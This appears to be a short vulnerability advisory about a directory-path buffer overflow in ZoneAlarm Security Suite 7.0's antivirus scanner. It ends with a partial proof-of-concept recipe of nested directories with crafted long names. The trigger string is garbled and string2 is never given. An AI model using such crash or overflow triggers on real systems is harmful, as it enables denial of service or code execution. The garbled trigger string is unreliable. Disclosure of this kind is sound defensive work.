ZoneAlarm Security Suite 7.0 - AntiVirus Directory Path Buffer Overflow Vulnerability

source: http://www.securityfocus.com/bid/31124/info ZoneAlarm Security Suite is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input when performing virus scans on long directory paths. Remote attackers may leverage this issue to execute arbitrary code with SYSTEM-level privileges and gain complete access to the vulnerable computer. Failed attacks will cause denial-of-service conditions. This issue affects ZoneAlarm Security Suite 7.0.483.000; other versions may also be affected. To demonstrate this issue, construct multiple nested subdirectories, naming the root directory string1 below, and each nested directory string2: string1: ASCII: ? ? AAAAAAAAAAAAAAAAAAA ? ?
